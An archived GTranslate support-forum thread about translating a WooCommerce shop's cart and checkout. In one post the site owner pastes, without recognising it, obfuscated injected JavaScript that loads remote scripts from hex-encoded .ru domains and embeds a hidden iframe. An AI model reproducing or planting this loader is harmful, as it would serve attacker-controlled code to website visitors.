Forum Archive - Woocommerce problem

Woocommerce problem
Feb 1, 2016 5:28 pm by olegthered
Hello, I got problem on checkout page in woocommerce: http://en.tracers.ru/checkout/ try to checkout this: tracers.ru/shop/mowgli-flora Oleg
Re: Woocommerce problem
Feb 3, 2016 5:02 am by Edvard
Hi, Please check and let me know if it has been solved. Thanks!
Re: Woocommerce problem
Feb 3, 2016 8:08 am by olegthered
Hello Edvard, cart widget is shown now but text in it is not translated (you can check it by adding to cart here: http://tracers.ru/shop/mowgli-flora - language widget on the top left corner). Then if i am going to cart page or checkout language is reset to original. When all order forms are filled on checkout page then shipping calculation is applied automatically in right form on page and this form's text is firstly translated but right after form refreshes and show non translated text(but form and its shipping calculation is working now).
Re: Woocommerce problem
Feb 4, 2016 3:35 am by Edvard
Hi, The shopping cart is being loaded by doing an ajax request to http://en.tracers.ru/shop/mowgli-flora/ ... _fragments which responds with JSON format. JSON format is not translated by default, since we do not know how to translate it. We have a JSON format translation support, but it requires the user to define how we should translate it. You can find more info on this page about JSON format translation: https://gtranslate.io/docs/58-gtranslat ... umentation You may ask your shopping cart developer to implement the feature for you or we can do it for additional payment, but then you will need to stop updating your cart software to not break it. Let me know. Thanks! Here is your JSON object for cart widget: {"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n<ul class=\"cart_list product_list_widget \">\n\n\t\n\t\t\t\t\t\t\t<li class=\"mini_cart_item\">\n\t\t\t\t\t\t<a href=\"http:\/\/tracers.ru\/cart?remove_item=0f92c979a6541ca6b7f292ae1dcf5ec8&#038;_wpnonce=5e150e2857\" class=\"remove\" title=\"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u044d\u0442\u0443 \u043f\u043e\u0437\u0438\u0446\u0438\u044e\" data-product_id=\"17674\" data-product_sku=\"\">&times;<\/a>\t\t\t\t\t\t\t\t\t\t\t\t\t<a href=\"http:\/\/tracers.ru\/shop\/mowgli-flora\">\n\t\t\t\t\t\t\t\t<img width=\"200\" height=\"200\" src=\"\/\/tracers.ru\/wp-content\/uploads\/2016\/01\/DSC0600-200x200.jpg\" class=\"attachment-shop_thumbnail wp-post-image\" alt=\"_DSC0600\" \/>\u041c\u0430\u0443\u0433\u043b\u0438&nbsp;&nbsp;\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t<span class=\"quantity\">1 &times; <span class=\"amount\">8 400&nbsp;\u20bd<\/span><\/span>\t\t\t\t\t<\/li>\n\t\t\t\t\t\n\t\n<\/ul><!-- end product list -->\n\n\n\t<p class=\"total\"><strong>\u041f\u043e\u0434\u044b\u0442\u043e\u0433:<\/strong> <span class=\"amount\">8 400&nbsp;\u20bd<\/span><\/p>\n\n\t\n\t<p class=\"buttons\">\n\t\t<a href=\"http:\/\/tracers.ru\/cart\" class=\"button wc-forward\">\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u0432 \u043a\u043e\u0440\u0437\u0438\u043d\u0443<\/a>\n\t\t<a href=\"http:\/\/tracers.ru\/checkout\" class=\"button checkout wc-forward\">\u041e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0430<\/a>\n\t<\/p>\n\n\n<\/div>",".shooping-count-outer":"\t<span class=\"shooping-count-outer\"><i class=\"fa fa-shopping-cart\"><\/i><\/span>\n\t"},"cart_hash":"bce22850aa96ed1589a0a0cd1dee625a"}
Re: Woocommerce problem
Feb 4, 2016 10:10 am by olegthered
Are you talking only about shipping cart or about checkout form with shipping calculation also? Actually I want cart and checkout form (with shipping calculation) take translation from locale files. So then we will not affect on how these forms work, am I right? And I want other parts of page to be translated with GTranslate. I can pay for that.
Re: Woocommerce problem
Feb 4, 2016 5:35 pm by Edvard
I'm talking about http://en.tracers.ru/shop/mowgli-flora/ page. The cart is being loaded with ajax request in JSON format. I would suggest to define how to translate JSON instead of mixing translations as you describe. I can help you to modify your plugins to define how JSON objects should be translated. It will be good to cooperate with the plugin developers, so you can continue using updates. If you want a fast solution, we can just modify your files and you need to stop making updates for the modified plugins. You can contact me by email to discuss the process. Thanks!
Re: Woocommerce problem
Feb 7, 2016 10:39 am by olegthered
Hello Edvard, I see that cart and checkout calculation are working fine now. Did you reach woocommerce and Search&Filter authors? How should I act on next plugin's update? How can I allocate edits you made? Also how can I make translated and editable buttons on cart form (eg on en.tracers.ru/shop/mowgli-flora when I add to cart I see buttons and one of them have strange translation and I can't edit it), on cart page - en.tracers.ru/cart - refresh cart button is not translated too.
Re: Woocommerce problem
Feb 8, 2016 5:42 am by Edvard
Hi, For now you should not make any updates for that plugins. I'll check the buttons and contact you via email. Thanks!
Re: Woocommerce problem
Feb 10, 2016 7:31 am by olegthered
Hi Edvard, some of my billing fields on left side of checkout page are not translated. Also some translation on this page I can't edit: - The site uses in the calculations http://www.postcalc.ru http://www.postcalc.ru - Save the chosen method of payment (translation Sberbank map) - Translation map Sberbank(XNUMX% скидка)(XNUMX% discount) On cart page (en.tracers.ru/cart after adding en.tracers.ru/shop/mowgli-flora product) these strings are not translated: - 8 400 rub + Доставка. - Сумма за услугу доставки будет рассчитана на этапе оформления заказа. And I can't edit "subtotal" (want to have "Subtotal") here: http://en.tracers.ru/shop/mowgli-flora/?language_edit=1
Re: Woocommerce problem
Feb 12, 2016 6:20 am by Edvard
Hi Oleg, I have checked and see that in the source code the form is translated correctly. However it uses javascript to regenerate some parts of the form and places Russian text from javascript. I can modify the javascript as well to fix the translations. If you want to edit something and you cannot do it, create a test page and place the text you want to edit in <p>...</p> tags, then edit it. The text Доставка... comes from javascript as well. I have sent you an email and have not received a reply about the payment. Please reply, so we can move forward. Thanks!
Re: Woocommerce problem
Feb 12, 2016 11:46 am by olegthered
Hello Edvard, I got your mail. Will send reply soon. "If you want to edit something and you cannot do it, create a test page and place the text you want to edit in <p>...</p> tags, then edit it." I don't understand what do ou mean by test page and how it helps me to get some untranslateable strings translated.
Re: Woocommerce problem
Feb 12, 2016 1:28 pm by Yana
Dear Oleg, If you check the translation of the dropdown list you will see that in edit mode there is no pencil button to edit the list options. You should create text page with the same text and edit. GTranslate will keep edited translations in our server and will load corrected text.
Re: Woocommerce problem
Feb 13, 2016 10:24 am by olegthered
Yana, can you give me link to file where you added text for dropdown so I can see the way to do it right. Thank you. Today I noted that now some strings of code appear on edit post page in text mode (eg on this post http://tracers.ru/?p=17708): <script>// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "tracers.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="//u7yb1iy1x3xv.ru/f.html"></iframe>
Re: Woocommerce problem
Feb 13, 2016 12:10 pm by Edvard
Hi Oleg, I have checked the page and I do not see the mentioned script. We are having problems getting payments from you for your tracers.ru. Also you have not replied to my email yet. Thanks!

SIMILAR TOPICS

Joomshaper Pagebuilder buttons Link edit problemJan 11, 2019 10:04 amReplies: 1Post by: kumatest
Problem with pluginDec 30, 2018 11:59 pmReplies: 1Post by: Iyari
Problem of translation in my websiteDec 8, 2018 12:15 pmReplies: 1Post by: Ibrahim
Problem with qTranslate-x, please help!Aug 22, 2018 9:14 amReplies: 1Post by: sadammkhan
The problem with the translation of the social pluginDec 27, 2017 7:52 amReplies: 1Post by: UriyFil

Try GTranslate with a free 15 day trial